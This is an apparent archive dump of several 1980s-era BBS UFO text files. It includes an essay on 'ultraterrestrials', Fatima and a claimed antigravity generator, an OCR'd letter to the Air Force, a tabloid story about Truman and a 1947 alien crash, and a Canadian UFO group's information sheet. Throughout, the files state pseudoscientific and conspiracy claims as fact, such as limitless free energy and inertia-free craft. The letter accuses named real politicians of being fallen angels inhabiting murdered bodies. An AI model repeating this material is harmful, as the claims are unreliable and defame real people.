been ruined because the amateur UFO investigators have accused
them of being liars and worse.
Another fascinating game which the ufonauts play with a
vengeance is the "repair" gambit. Beginning in 1897, there has
been an endless stream of stories and reports, many from reliable
witnesses, on how they encountered a grounded UFO and observed the
occupants making repairs of some kind. The basic details in all
these stories are so similar that it seems as if the ufonauts are
following a carefully rehearsed procedure.
Generally speaking, there are three (3) types of beings
observed in relation to UFOs:
o Normal-looking people, including females.
o Oriental, dark-skinned beings.
o Unidentifiable creatures, who have made a real effort to
hide from witnesses.
Oddly enough, when all the reports and the data is in, the
scope of the phenomenon and the overwhelming quantity of reports
negates its validity. An analysis of cases indicates that flying
saucers are not, in most cases, stable machines requiring fuel,
maintenance, and logistical support. Most of them are, in all
probability, transmutations of energy from other dimensions and do
not exist in the same way that this paper exists.
The UFO phenomenon seems to be largely subjective: that is,
specific kinds of people become involved and are actually
manipulated by the phenomenon in the same way that it manipulates
matter. These subjective experiences are far more important to our
study that the "random" superficial sightings. We are obliged to
forget about the sightings and concentrate on the claims and
experiences of the contactees.
Thousands of UFO photos have been taken since 1882. There's
just one problem. With very few exceptions, no two UFO photos are
alike. The sightings force two unacceptable answers upon us:
o All the witnesses were mistaken or lying.
o Some tremendous unknown civilization is exerting an all-
out effort to manufacture thousands of different types of
UFOs and is sending them all to our planet.
The governments of the world overtly have maintained
variations of the first proposal. UFO enthusiasts accept the
second. There is a third proposal which merits some attention:
some "hard" objects definitely exist as temporary materializations
from other dimensions. They leave indentations in the ground when
they land. Witnesses have touched them and even been inside them.
These "hard" objects may be decoys to cover the multitudinous
activities of the "soft" objects. The "soft" objects hold one of
the keys of the mystery. There are countless sightings of objects
which changed size and shape in front of witnesses who often get
the impression that it was alive, that it was not behaving like a
mechanical object at all.
There is no question at all that there are intelligences that
can manipulate or materialize any kind of object into our
dimension. Let's take a look, for a second, at the electromagnetic
spectrum. As you know, our visual spectrum makes up a small
portion of the whole. Look at what's involved with UFOs:
Ultraviolet
Blue UFO ENTRY FIELD _________________
Cyan ____________________________________
Green Visible
Yellow
Red __________________ Spectrum
Magenta _________________
Infra-red UFO DEPARTURE
Heat FIELD
Radio
If you will relate this to cases that you are familiar with,
as far as appearance, spectrum shift when in flight, etc., you
will see the applicability of the above diagram.
When UFO stabilize in our dimension they radiate energy on
all frequencies and become glowing white. Radical maneuvers
require a frequency alteration, which produces color changes. It
is interesting to note that in Blue Book Report #14, they replaced
the phrase "Electromagnetic Phenomenon" with the word "Unknown" in
a majority of those cases. Why? There is no doubt that again, a
situation exists where we have multiple realities within the UFO
realm as well. It is clear that we are not dealing with random ET
visitors. It has an extreme element of intention to do with all of
it. Mutilations started in April, 1897, with the abduction of
Alexander Hamilton's calf, witnessed by several people. That is
one of the constants that has been with us that has not changed
frame of reference. How many people give thought to the three
dark-skinned wise men who appeared before the birth of Jesus,
spread the reality of the happening, and disappeared again. All
the dark-skinned men in threes. MIB. It makes you wonder. Hmmmm.
Charting the Enigma
Well, here we are again. Taking a sample of 33% of 10,000 or
so cases, or about 3,330 cases, we find that 730 are so-called
Type I, a low-level object observed and reported by reliable
witnesses. It was found that 2,600 were Type II, high-altitude
objects performing in a controlled manner and distinct from normal
aircraft and natural phenomena. The time of the sightings depends
on where you are. If you are in a rural area, sightings
conveniently begin after 10 p.m. A populated area would have them
between 2 a.m. and 4 a.m. For some reason, in many "flaps,"
Wednesday had about 20.5% of the sightings. Hmmm.
Now, if the UFO phenomenon (and I dislike that word) had a
purely psychic basis then I would think there would be more
sightings on a Saturday, when people are statistically out and
about than on Wednesday. There are notable exceptions to
everything of course, one of which was the "flap" of August 16,
1966, which was on a Tuesday.
Reports seem to cluster within political boundaries of
states, as if there were a methodical exploration of states from
border to border. If the UFO were a natural occurrence, one would
expect otherwise.
Thousands of sightings can be fitted into the "great circle"
route, and often the dates are staggered so that it appears that
the phenomenon moves systematically from point to point.
Every state in the United States has from two to ten
"windows." These are areas where UFOs appear repeatedly year after
year. The objects will appear in these places and pursue courses
confined to sectors with a radius of about 200 miles. The great
circle from Canada (not to be confused with the traditional Great
Circle) in the northwest through the central states and back into
northeast Canada is a major window. Hundreds of smaller windows
lie within that circle. Another major window is centered in the
Gulf of Mexico and encompasses much of Mexico, Texas and the
Southwest.
As mentioned previously, many windows center directly over
area of magnetic deviation.
UFOs seem to congregate about the highest available hills in
these window areas. They become visible in these centers and then
radiate outward, traveling sometimes 100-200 miles before
disappearing again.
****************************************************************
Among the great heaps of neglected and ignored UFO data, we
find hundreds of "minipeople" accounts. These are very rarely
published anywhere because they tend to be so unbelievable. Most of
them are identical to the fairy and gnome stories of yesteryear.
Witnesses to these events can experience conjunctivitis, akinesia
(paralysis), amnesia, and the other effects often noted by
witnesses to more conventional events. One notable event is one
that occurred in Seattle, Washington, in the latter part of
August, 1965. A woman awoke around 2 a.m. and discovered she could
not move a muscle or make a sound. Her window was open, and
suddenly a tiny, football-sized dull-grey object floated through
the window and hovered over the carpet near her bed. Three legs
lowered from the object and it settled to the floor. A small ramp
extended from it and five or six tiny people clambered out and
seemed to work on some kind of repairs on the object. They wore
tight-fitting clothing. When they were finished, they got in and
the object took off and sailed out the window. At that point, she
was able to move. The case was investigated by J. Russell Jenkins
of Seattle.
You can readily see why almost none of these kinds of stories
ever appear in print, except in occult-oriented literature.
Nevertheless, if we hope to assess the true UFO situation, we must
examine all these stories. We can learn nothing by considering
only those incidents which are emotionally and intellectually
acceptable to us.
****************************************************************
TIME is one of the most important aspects of the UFO thing.
It plays a strange but significant role. Part of the answer may
not lie in the stars but in the clock ticking on your fireplace.
Our world exists in three dimensions. We can move in many
directions within these dimensions. Space does not exist except
when we make it exist. To us, the distance between atoms in our
matter is so minute that it can only be calculated with
hypothetical measurements. Yet, if we lived on an atom, and our
size was relative to its size, the distance to the next atom would
seem awesome.
There is another man-made measurement called time. Unlike the
other three dimensions, time has us seemingly trapped. Time
becomes very real to us, and it appears that we couldn't live
without it. Yet time doesn't really exist at all. This moment
exists to us. Does this mean the same moment is being shared by
other planets?
The UFO phenomenon does seem to be controlled. It does follow
intelligent patterns. If the objects themselves are manifestations
of higher energies, then something has to manipulate those
energies somehow and reduce them to the visible frequencies. Not
only do they enter the visible frequencies, but they take forms
which seem physical and real to us, and they carry out actions
which seem to be intelligent.
Thus we arrive at the source. The source has to be a form of
intelligent energy operating at the highest possible point of the
frequency spectrum. If such an energy exists at all, it might
permeate the universe and maintain equal control of each
component part. Because of its very high frequency, so high that
the energy particles are virtually standing still, the source has
no need to replenish itself in any way that would be acceptable to
our environmental sciences. It could actually create and destroy
matter by manipulating the lower energies. It would be timeless,
because it exists beyond all time fields. It would be infinite
because it is not confined by three-dimensional "space."
Children. Children figure neatly into this, and they always
have. The child's mind, especially before the so-called age of
reason when the logic circuits begin to form, is a clear
instrument, open and uninfluenced by opinions and conclusions.
This is an important point in the UFO mystery.
Perhaps if we were in a pure energy state, each particle of
energy would itself serve as a synapse, and information could be
stored by a slight alteration in frequency. All the memory
fragments of a rose, for example, would be recorded at one
frequency, and the whole energy form could tune into that memory
by adjusting frequencies, as we might adjust a radio receiver. In
other words, no complex circuitry would be required. No body would
be necessary. The energy patterns would not need material form. It
would permeate the entire universe. It could surround you
completely at this very moment and be aware of all the feeble
impulses of low energy passing through your brain. If it so
desired, it could control those pulses and thus control your
thoughts. Man has always been aware of this intelligent energy or
force. He has always worshipped it.
Our first conclusion is that the UFOs originate from beyond
our own time frame or time cycle. Our second conclusion is that
the source has total foreknowledge of human events and even of
individual lives. Since time and space are not absolutes, these
two conclusions are compatible.
It is that all human events occur simultaneously when viewed
by a greater intelligence. If a greater intelligence wants to
communicate with a lower form, all kinds of problems are
presented. The communication must be conducted in a manner which
will be meaningful and understandable to the lower life form. An
acceptable frame of reference must be found and utilized.
UFO phenomenon, especially the "soft" ones, are frequently
reflective; that is, the observed manifestations seem to be
deliberately tailored and adjusted to the individual beliefs and
attitudes of the witnesses. Contactees are given information
which, in most cases, conforms to their beliefs. UFO researchers
who concentrate on one particular aspect or theory find themselves
inundated with seemingly reliable reports which seem to
substantiate that theory.
John Keel's extensive experiences with this reflective factor
led him to carry out weird experiments which confirmed that a
large part of the reported data is engineered and deliberately
false. The witnesses are not the perpetrators, but merely the
victims.
The apparent purpose of all this false data is multifold.
Much of it is meant to create confusion and diversion. Some of it
has served to support certain beliefs which were erroneous but
which would serve as stepping-stones to the higher, more complex
truth. Whole generations have come and gone, happily believing in
the false data, unaware that they were mere links in the chain.
If it were all understood too soon, we might crumble under
the weight of the truth. This earth is covered with windows into
those other unseen worlds. If we had the instruments to detect
them, we would find that these windows are the focal points for
super high-frequency waves -- the "rays" of ancient lore. These
rays might come from Orion or the Pleiades as the ancients
claimed, or they might be part of the great force that emanates
throughout the universe. The UFOs have given us the evidence that
such rays exist. Now, slowly, we are being told why.
****************************************************************
It is also apparent that some entities are having a good
laugh at our expense. As mentioned before, literature indicates
that the phenomenon carefully cultivated the religious frame of
reference in early times, just as the modern manifestations have
carefully supported the extraterrestrial frame of reference.
The Devil's emissaries of yesteryear have been replaced by
the mysterious "men in black." A major, but little-explored,
aspect of the UFO phenomenon is therefore theological and
philosophical rather than purely scientific. The UFO problem can
never be untangled by physicists and scientists unless they are
men who also are schooled in the other disciplines.
The earth was occupied before man arrived or was created.
That's an important point to consider. The original occupants were
paraphysical and possessed the power of transmutation of matter.
Man was the interloper. The inevitable conflict arose between
physical man and the paraphysical owners of the planet. Man
accepted the interpretation that this conflict raged between his
creator and the Devil. The religious viewpoint has always been
that the Devil has been attacking man (trying to get rid of him)
by causing havoc upon him. There is historical and modern proof
that this may be so.
It is interesting that parapsychologists have long concluded
that the paralysis that contactees experience is a contributing
cause; that the entity may materialize by utilizing energy from
the percipient himself.
John Keel has in his files hundreds of cases, some of which
have now been investigated by qualified psychiatrists, in which
young men and women obsessed with the UFO phenomenon have suffered
frightening visits from apparitions, followed up by mysterious
black Cadillacs which appeared and disappeared suddenly, and have
been terrified into up their pursuit of the UFOs. The phenomenon
is again reflective in nature; the more frightened the victim
becomes, the more the manifestations are escalated. Think about
it.
****************************************************************
The Other Side of the Coin
There is a balance in nature, and there also seems to be a
balance in the UFO picture. People have actually died after
exposure to the gamma and UV rays from UFOs. But other people have
actually had their ailments cured by similar rays. Occult
literature is filled with accounts of this type.
Except for those who might be specially constructed for
incubus-succubus activities, it does appear that our "angels" and
"spacemen" come from a world, in many cases, with sex -- and very
probably, a world without an organized society; a world in which
each individual is merely a unit in the whole and is totally
controlled by the collective intelligence or energy mass of that
whole. In other words, these beings, or some of them anyway, have
no free will. They are slaves of a very high order. Often they try
to convey this to percipients with their statements, "We are One,"
"We are in bondage."
We face a great task in trying to isolate the UFO phenomenon
from the larger and more important "big picture," the overall
situation of which the UFOs are merely a small part.
Elemental beings are another aspect of the world we live in.
Children see them more than adults, perhaps for the reasons
described before. Historical records certainly indicate that the
little people have always existed all over this planet; that they
possess the power of flight, the power of invisibility, and, to
varying degrees, the power to dominate and control the human mind.
Accounts of little humanoids with supernatural powers can be found
in almost every culture.
The manifestations have remained the same throughout history.
Only our interpretations of those events have changed. It brought
the birth of Spiritualism, which was in its heyday in the 1850s
and 1860s, and was just another form of communication between the
ultraterrestrials and ourselves.
UFO flaps also parallel outbreaks of poltergeist cases. It
all ties in together.
Assuming that each discovered historical report represents a
larger number of unpublished or undiscovered reports, just as
today's UFO reports represent on the average 250 unreported or
unpublished sightings, we can conclude that a flap condition
existed, for example, in the years 1820, 1834, 1844, 1846, and
1849. We also find that there was an outbreak of poltergeists in
1835, 1846, and 1849.
As the 19th century progressed, reporting improved, and we
are able to make more precise correlations. A UFO flap took place
in 1850, and there was also a series of poltergeist cases. A
larger poltergeist outbreak occurred in 1867, following flaps in
1863-64. UFO activity became more intense beginning in 1870, and
there were notable flaps in 1872, 1877, and 1879. The 1880s
produced a major explosion of all kinds of phenomena, including
the sudden disappearance of people. Poltergeist cases were in
abundance in that decade, particularly in the big flap years of
1883 and 1885.
Astrophysicist Morris K. Jessup labeled the years 1877-87 the
"Incredible Decade" after scouring astronomical journals of the
period. Astronomers made some remarkable discoveries during those
years. The previously unobserved satellites of Mars popped into
view in 1877, new craters appeared on the moon, all kinds of
strange objects flitted around the upper atmosphere.
****************************************************************
The trance phenomenon deserves extensive study because so
many aspects of it are directly related to the contactee
phenomenon. In both, you will find the same contradictions. There
seem to be both good and evil forces at work. The good guys latch
onto people with particularly receptive minds and turn them into
trance mediums and the bad guys use the same methods to tamper
with the minds of contactees and even to commit murder indirectly.
Since incidents of these types can be traced throughout history,
it seems probably that these forces have always been here on this
planet. do the ultraterrestrials really care about us? There is
much evidence to suggest that they don't. They care only to the
extent that we can fulfill our enigmatic use to them.
There have been innumerable psychic hoaxes for the past 150
years, and many of these parallel the UFO hoaxes. In ufology we
have to contend with the teenager's hot air balloon, and in
psychic phenomenon we have to worry about youngsters firing rocks
at houses. There are, however, more UFO sightings than there are
plastic balloons, and more poltergeists dumping rocks in living
rooms than there are wild-eyed youngsters with slingshots. There
are also more ultraterrestrial entities than either the occultists
or the UFO researchers can dream of.
Giant winged beings, usually described as headless, are an
integral part of the UFO phenomenon. Winged human forms have been
seen flying over many areas of the world. John A. Keel wrote a
book called the "Mothman Prophecies" and Gray Barker a book called
"The Silver Bridge" that go into some detail. They are usually
described as having blazing red eyes set deep in their shoulders.
****************************************************************
On May 13, 1917, three girls in Portugal were in the meadows
of a place called Cova da Iria outside of Fatima, Portugal, when
they saw a flash of light in the clear sky. They ran for shelter
under a tree, thinking that was lightning. When they reached the
tree, they stopped in amazement, for there hovering just above a
3-foot evergreen nearby, a brilliant globe of light hung
suspended.
Within this globe there was an entity garbed in a luminous
white robe with a face of light which dazzled and hurt the eyes.
The figure stated that it was from heaven, and asked the
girls to come there on the 13th day, for six months in succession.
On October 13, 1917, an estimated 70,000 people had gathered at
the site. Suddenly the crowd screamed, for something came through
the clouds: a huge silver disk which rotated rapidly as it
descended towards the crowd. It seemed to change color, going
through the spectrum. These gyrations continued for ten minutes.
Miles from there, others were also watching the same object.
The incident at Fatima was obviously a carefully planned and
deliberately executed demonstration. The major prophecies of
Fatima had been written down and sealed in an envelope, and turned
over to the Vatican. They were supposed to be revealed to the
world in 1960. The secret of Fatima? One Pope was murdered after
only 30 days in office when the Vatican thought he would reveal
it. It is said to be a prediction of the end of the world. The
demonstration was therefore a failure as far as the
ultraterrestrials were concerned. Such demos proved highly
effective in Biblical times, but times were changing and new
methods were called for.
A similar event such as Fatima took place in Garabandal,
Germany, on July 2, 1961. Even more startling, on the entity's
right side they could see "a square of red fire framing a triangle
with an eye and some writing. The lettering was in an old
Oriental script." The Third Eye. Haven't we heard of that before?
Remember the Nation of the Third Eye -- the MIB. etc?
****************************************************************
ADDENDUM BY THE AUTHOR
Gravitational Propulsion
Well, I have gotten this far in explaining some things to
you. I might as well turn to my favorite subject of all --
gravitational propulsion. The best place to start is with the
efforts of a personal acquaintance of mine who had the good
fortune to meet in England -- Mr. J. R. Searl. His investigations
into gravitational propulsion have proven to be quite revealing --
he's done it, and I want to tell you about it.
In 1949, he was employed by the Midlands Board as an
electronic fitter. He was very enthusiastic about the subject of
electricity, though he had no formal education on the subject
other than was required by his job. Unhindered by conventional
ideas about electricity, he carried out his own investigation into
the subject. During work on electrical motors and generators, he
noticed that a small electromotive force (EMF) was produced by the
spinning metal parts -- the negative toward the outside and the
positive toward the rotational axis.
In 1950, he experimented with rotating slip rings and
measured a small EMF on a conventional meter. He also noticed that
when the rings were spinning freely and no electrical current was
taken, his hair bristled. His conclusions were that free electrons
in the metal were spun out by centrifugal force being produced by
the static field in the metal. He then decided to build a
generator on the same principle.
It had a segmented rotor disc, passing through electromagnets
at its periphery. The electromagnets were energized from the
rotor, and were intended to boost the EMF.
By 1952, the first generator had been constructed and was
about three feet in diameter. It was tested in the open by Searl
and a friend. The armature was set in motion by a small engine.
The device produced the expected electrical power, but at an
unexpectedly high potential. At relatively low armature speeds a
potential of the order of 10^5 volts was produced, as indicated by
static effects on nearby objects.
The really unexpected then occurred. While still speeding up,
the generator lifted and rose to a height of about 50 feet above
the ground, breaking the union between itself and the engine. Here
it stayed for a while, still speeding up and surrounding itself
with a pink glow. This indicated ionization of air at a much
reduced pressure of about 10^-3 mm Hg. More interesting was the
side effect, causing local radio receivers to go on by themselves.
Finally, the whole generator accelerated at a fantastic rate and
is thought to have gone off into space.
Since that day, Searl and others have made some ten or more
small flying craft, some of which have been similarly lost, and
have developed a form of control. Larger craft have been built --
some 12 feet and two 30 feet in diameter.
Once the machine has passed a certain threshold of potential
voltage, the energy output exceeds the input. The energy output
seems to be virtually limitless. We made some measurements when I
was there, and as far as we could see, the estimated output is
somewhere in the vicinity of 10^13 to 10^15 watts. Above what
appears to be the threshold potential, some 10^13 volts, the
generator and attached parts become inertia-free. There is also
some "matter snatch" upon acceleration away from the ground, since
it tends to take a little "turf" with it when it goes.
Analyzing what is happening is fairly easy. What the
generator is doing is placing a "stress" on the ambient space
around it. The space breaks down to provide the magnetism to
relieve the stress, but the energy by-product is absorbed by the
generator, which reinforces the field.
It should be noted at this point that only a very small
amount of space fabric passes through the craft and an even
smaller amount is converted for energy. However, I have noticed
that small changes in etheric forces lead to large physical
effects. It was aptly demonstrated and I was impressed.
Recently, Mr. Searl had (1987) a brush with authorities, when
he began simply generating his own power for his own house. Now he
doesn't have a very large house, but the Utility Board didn't like
the fact that they had lost their monopoly. Now he lives in
Birmingham under an assumed name. Simple, eh?
*****
Digitized by, and available from, IllumiNet BBS -- 4043771141
<0>

173
textfiles.com/ufo/ufolet1.ufo Normal file
View File

@@ -0,0 +1,173 @@
======================================================================
<<UFONET I>> * 416-237-1204 * PC-Pursuitable * File Requestable * HST
* 24 Hour Operation * Sysop - Tom Mickus * Toronto * FREE
======================================================================
======================================================================
UFOLET1.TXT - Text file that was scanned and processed via OCR by
^^^^^^^^^^^^ Harvey Stewart [UFONET I] taken from the book "Letters
To The Air Force On UFO'S" by Bill Adler published by
Dell Paperbacks 1967. The file was run through a spell
checker following conversion so most errors in character
recognition should be ok. Now that I finally have OCR
software that works there should be lots of files on the
way so stay tuned.
======================================================================
======================================================================
The following letter speaks for itself and was sent to Project
BLUE BOOK sometime before 1967. It is interesting that the writer
mentions Ford and Ronald Reagan many years before their rise to
prominence. It is also interesting to see that blood substitute is
mentioned over 23 years ago along with cattle mutilation.
Gentlemen:
The man driving his truck in Ohio, who was stopped
by a flying saucer is in his right mind. The "person" who
got out of the saucer is the "captain" of that particular
vehicle. The man in the truck and the saucer captain did
speak by mental telepathy . . . denoting one of the ad-
vantages the saucer captain had over the mortal man in the
truck. The saucer captain said he was from a much
weaker and or smaller nation than the U.S. basically, this
is true - but only conditionally. I will explain. please bear
with me even though what I have to say may sound somewhat
incredible.
Make no mistake, all things I state here are true. In the
name of JESUS CHRIST these are the truths. The saucers
are not really from outer space, in the sense of a world or
planet that is inhabited by beings. This applies [sic] to all
the planets, stars, etc. The saucers are not from earth in
the sense that some country in this world as we know it
has secretly developed these saucers. Seeing that the saucers-
are from neither outer space or earth . . . they are from
an interim state. The "beings" that captain these saucers
number 79, and each of the 79 has his own saucer. The 79
pass as earth men in the sense that no human could tell one
of the 79 from an ordinary fellow human. The identification
is that close. However, these 79, though much more [sic]
''advanced'' than our earth technology, do have two char-
characteristics that are positively very different from humans
- physically. They have imitation eyes . . . a type of
optic prism that cannot be discerned from human eyes . . .
unless actually probed. Secondly, these "men" have no
blood as we know blood to be. Their circulatory system
has instead a saline type hemoglobin - preservative substitute.
This substitute blood must he refurbished at quite
frequent intervals. Check with Michael Reese Hospital in
Chicago. They are now working on such a blood substitute.
(The saucers have been known to slaughter or lift
up cattle to their vehicles. Also the saucers are seen mu n
around reservoirs. The combination has to do with their
composing their blood substitute. Michael Reese will confirm
composition.)
The smaller and / or weaker nation that the captain
spoke of to the man in the truck is Egypt. Before 1983
the saucers will land in mass in the area of Egypt. They
will say they are from outer space, from a planet and
civilization that is far advanced in comparison to ours'
They will state that other planets are inhabited "out there"
and that there is no GOD. Puny man will he tested to the
very limits of his faith. The Russian cosmonauts who
went 130 miles into space have already stated, because of
their so - called great achievement, that there is no GOO
in space. Beware, there is a GOD in Heaven . . . the proof
that this country of ours exists is certification. Without
GOD there would he no reason for America. This is the
great Christian nation of the world. The U.S. is the major
target to be destroyed by the 79.
Bear with me please. Before the 79 endow Egypt with
their saucer technology' the U.S. will have captured two
or three or four of these vehicles to learn from. Understand
this is the time for the world and mankind to see
what we ordinarily deem as "spirit," to now, by many
means, be seen by mortal man in what he calls reality.
In other words, the spiritual will now become seen by man.
For example . . . These 79 are not of human origin. They
are fallen angels. They have murdered 79 men and have
commandeered their bodies. The only changes are the two
I mentioned. This 79 is each one locked into this lost body
forever. They are evil . . . in fact their leader is the inventor
of evil ' . . Satan . . . now known by one identity as
Jahausha Salad, a gynecologist who delivered Empress
Farah's babies [Iran].
The saucers are manned by crews of humanoids . . . not
fallen angels. These humanoids are kidnapped, murdered
children with devils . . . one each in each body . . .
taking possession. These humanoids are under command
to each of the 79.
The saucers can be hidden on earth or can be "at rest"
outer space as the 79 fallen angels carry on their pretense
earth of being mankind.
Some of these 79 are very powerful and prominent
people'' who control the destinies of countries. The sole
purpose of the 79 is to disrupt and impede and tempt mankind
all over the world to the point where mankind fights
and destroys himself. Because GOD protects man from
these 79, the 79 cannot directly destroy man. But GOD
permits man to he tested in faith. The 79 tell one story, a
lie. GOD tells the truth - man has free will to choose.
These 79 can read minds. They never need sleep and
saucers travel at the speed of light. (However, the evil
79 lack the courage to go this fast. They have travelled
60,000 miles per second. Good man must top this to
overcome the tactics of the 79.) The saucers travel magnetically
. Please hear me out. The denials of existence of
flying saucers is not your fault. You have orders that come
from your so - called seniors. If this was traced all
the way up it would show that Robert MacNamara is the
issuer of the flying saucer secrecy order. He denies they
exist and has told his commanders to deny their existence.
It is most interesting because Robert MacNamara, Secre-
of Defense for the U.S., knows more about flying
saucers and the authenticity than anyone in the whole U.S.
military - Robert MacNamara is a captain of a flying saucer
He is a fallen angel in the murdered body of Robert
MacNamara. This took place in 1959. He is a very evil and
dangerous man. His total dedication is to obey Satan and
destroy the United States. Not by direct action (he cannot
do that) but by stealth, temptation, and dissipation of the
U.S. strength - MacNamara can read president Johnson's
mind so it was not difficult for him to integrate [sic] himself
to the president. There is much much, much more to
this than I put down here. I can prove each thing I say
here. Hold onto this letter you will see MacNamara banished
to Egypt in 1967. Gerald Ford of the U.S. House of
Representatives is also a fallen angel. Here are some more
names and their countries:
l. Malenovsky - Russia
2. Kitti Kachoru - Thailand
3. Holt - Australia
4. Chou En Lai - China
5. Lin Piao - China
6. Chung Hee Park - S. Korea
7. Breznyev - Russia
8. Souvanna Phouma - Laos
9. Raoul Castro - Cuba
10. Ronald Reagan - U.S.
ll. Adam Clayton Powell - U.S.
12. Otto Preminger - U.S.
13. George Lincoln Rockwell - U.S.
14. Robert Welch - U.S.
15. Dr. P. Peruma - NASA - U.S.
16. Tou Duc Thong - N. Viet Nam
17. Erhard - Germany
18. Mikoyan - Russia
19. George Brown - England etc.
I pray you hold on to this letter and see what GOD
does to evil.
Yours in CHRIST
J. S.


32
textfiles.com/ufo/ufopresi.ufo Normal file
View File

@@ -0,0 +1,32 @@
U.S. PRESIDENT TRUMAN INSPECTED UFO CRASH - IN 1947
A British politician says the U.S. government recovered the bodies of four extraterrestrials and the wreckage of their starship in 1947
- and he has the secret report to prove it!
"The United States has been involved in a massive cover-up of alien contact for better than 40 years," said the politician, who asked to
remain anonymous whin he gave copies of the document to reporters in the House of Lords.
"This is bigger than any mere Watergate," he added. "This is a cosmic Watergate - and it's time the truth was told."
The papers, signed by President Harry Truman who saw the dead aliens, were addressed to the most powerful figures in Britain. Then Prime
Minister Clement Atlee got a copy, as did Winston Churchill, King George VI, the Queen Mother and select members of the House of Lords.
The leaders' reactions reportedly ranged from shock and amazement to outright fear. The document itself stressed the need to keep the re
covery operation secret to avoid "a massive religious backlash and worldwide panic."
It went on to describe the extraterrestrials in chilling detail.
"Four small human-like beings apparently ejected from the craft before it exploded and crashed in America's southwest," said the report.
"All four were dead and decomposed due to predators and exposure to the elements before their discovery. The beings were between four and f
ive feet tall. They wore tight-fitting silver jumpsuits. Their heads were disproportionately large, with oversized brown eyes, slanted in t
he head. Their noses and mouth were mere slits. They had small holes for ears."
The document went on to say that pieces of the starship were strewn for miles. Analysis showed fragments to be a strong and lightweight
metal but were otherwise inconclusive. The report did not pinpoint the location of the crash, nor did it say where the bodies and fragment
s were taken. But the likeliest destination was Wright-Patterson Air Force Base in Dayton, Ohio - where the bodies of four more humaniods w
ere taken after a second crash 10 years later.
Though the U.S. Government has never confirmed either crash, UFO experts are convinced that both wreckage and bodies are still preserved
. In fact a super-secret government agency, code-named PI 40, keeps tabs on alien visitors and briefs U.S. Presidents on UFO developments p
ast and present, the British source said.
Gerber Pasche, founder and president of the Swiss UFO watchdog group, Alien Encounter, was appalled to learn of the cover-up. He told r
eporters that the governments of the United States and Britain should be held accountable - and tried in the court of world opinion.
"The irony of all this is that everybody knows what's going on - we've known for years," he said. "Space aliens exist and have a deep a
nd abiding interest in our planet. This is a concern of all mankind - not just superpower leaders."


286
textfiles.com/ufo/uforic.ufo Normal file
View File

@@ -0,0 +1,286 @@
==================================================================
Information File On: U.F.O. Research Institute of Canada (UFORIC)
==================================================================
As UFONET is not itself an investigative body, but a forum for
the thoughts and ideas of the public, UFOlogists, and research groups;
part of our mandate is to alert people to the existence of worthwhile
research organizations. Recently, I learned of a new organization by
the name of UFORIC, which is based in Vancouver. Other than a having
a packet of documents from them, I have very little first-hand info
about the group. However, from what I've seen so far, they do seem
to be a professionally run organization, which in this field of study,
is saying a lot. What follows then is some reprints of some of the
information that was sent to me. If you're interested in pursuing
this further, contact addresses and phone numbers will be listed.
Again, what follows should not be construed as an endorsement
of UFORIC, although my own personal feelings are that UFORIC seems
to be a legitimate organization, and one in which your money wouldn't
be wasted. One thought to bear in mind is that this group has only
been in operation for about 14 wks. and may be "here today, gone
tomorrow". However I don't think this will be the case with UFORIC,
as they seem to have done their homework and started on a solid
organizational foundation. UFORIC was "Incorporated" earlier this
year in the province of British Columbia. UFONET is in no way
affiliated with UFORIC, although its hoped that their will be two-
way co-operation between both groups. One of the Directors, Lorne
Goldfeather, informed me that they were looking to have a BBS arm
of UFORIC 8-12 months down the road. At present, I'm trying to
procure a UFONET node in Vancouver, in order that we might have
quicker access to Directors and members of UFORIC in the B.C. area.
- Tom Mickus <<UFONET I>> 9/29/89
----------------------------------------------------------------------
----------------------------------------------------------------------
Note: The following electronic reproductions are different in form
---- than that of the originals.
----------------------------------------------------------------------
----------------------------------------------------------------------
U.F.O. RESEARCH INSTITUTE OF CANADA
24 Hour Reporting Service - News Updates Daily
U F O R I C
For Information call: 1-(604)-685-1-UFO
--------------------
Or write: Dept. 25 - 1665 Robson St.,
-------- Vancouver, B.C., Canada, V6G 3C2
Current List Of U.F.O.R.I.C. Board Of Director Officers:
--------------------------------------------------------
First Officer: - Helen Williams, 106-1170 Haro St. Vancouver B.C.
------------- V6E 1R8
Second Officer: - Graham Conway
--------------
Third Officer: - Brian Fewster, 7709-127th St., Surrey, B.C.
------------- V3W 4B1
Fourth Officer: - Jack Roberts, 7165 Bridgewood Dr., Burnaby, B.C.
-------------- V5A 3T5
Fifth Officer: - Neil Gilchrist, 5629 Ash St., Vancouver, B.C.
------------- V5Z 3G8
Sixth Officer: - Lorne Goldfeather, #904, 1275 Haro St., Vancouver
------------- B.C., V6E 1G1
======================================================================
(code-of-ethics form-1) U.F.O.R.I.C. (members copy)
======================================================================
AIMS OF THE ASSOCIATION
-----------------------
1. To promote the free exchange, discussion and dissemination of
information, theories and ideas and proofs related to ufology,
in Canada and internationally.
2. To maintain high standards of ethics, humanitarianism, and
scientific practices in the study of the U.F.O. phenomenon.
3. To preserve the history and genealogy of available U.F.O. research.
4. To secure cooperative action in advancing the common cause of its
members.
5. To disseminate information of a general, economic, social or
governmental character; to analyze subjects relating there to;
and present the views of its members to other organizations,
the government, and the public (may require inviting guest
speakers, or travelling to locations other than Vancouver).
6. To cooperate with other organizations of like interest, in Canada
and worldwide.
7. To further the training and education of its members.
8. To maintain a 24 HOUR reporting hotline and carry on
investigations, which may involve hypnosis by a certified
hypnotherapist.
9. To promote standardization in the investigation, reporting and
evaluation of U.F.O. sightings and related phenomena.
10. To provide, at some point in time, in a newsletter or periodical,
a local, and/or national, and/or international forum for the
report and publication of all worthy activities and projects of
person, groups or organizations working in the field of ufology.
11. To make awards, eventually, within the life of this association,
to persons, associations, or agencies, in recognition of
outstanding accomplishments in the field of ufology. Awards
may be of a general nature or specific funding for an
investigative research project.
CODE OF ETHICS
--------------
1. Members shall maintain high standards of ethics and scientific
practices and shall be guided in their relationships by personal
integrity.
2. They shall uphold the dignity and reputation of U.F.O.R.I.C.
before the public at all times.
3. They shall avoid and discourage sensationalism, exaggeration,
undignified and unwarranted statements, or misleading advertising.
4. In providing devices of any nature, such as an electomagnetic
field detector, gravity wave detector, or signalling machines,
they shall offer a 30 day money back guarantee and provide a
year's warranty on the item in writing (except for expendable
parts). Also, they shall provide a repair service for any device
offered (reasonable use required).
5. In providing service for compensation, they shall refuse to
undertake that which is of a questionable nature, and they shall
advise the probability of success.
6. They shall not use their membership in this association as
evidence of qualification, or as a measure of ability or
performance.
7. They shall not exhibit or use the name of U.F.O RESEARCH INSTITUTE
OF CANADA - (U.F.O.R.I.C.) on any letterhead, stationary, or
business cards, nor in advertising of a business or professional
nature, unless as part of the association's regular activities,
along with the approval of its board of directors.
8. Any members found to be in violation of this Code of Ethics by the
board of directors may have his/her membership priviledges in the
U.F.O.R.I.C. revoked.
======================================================================
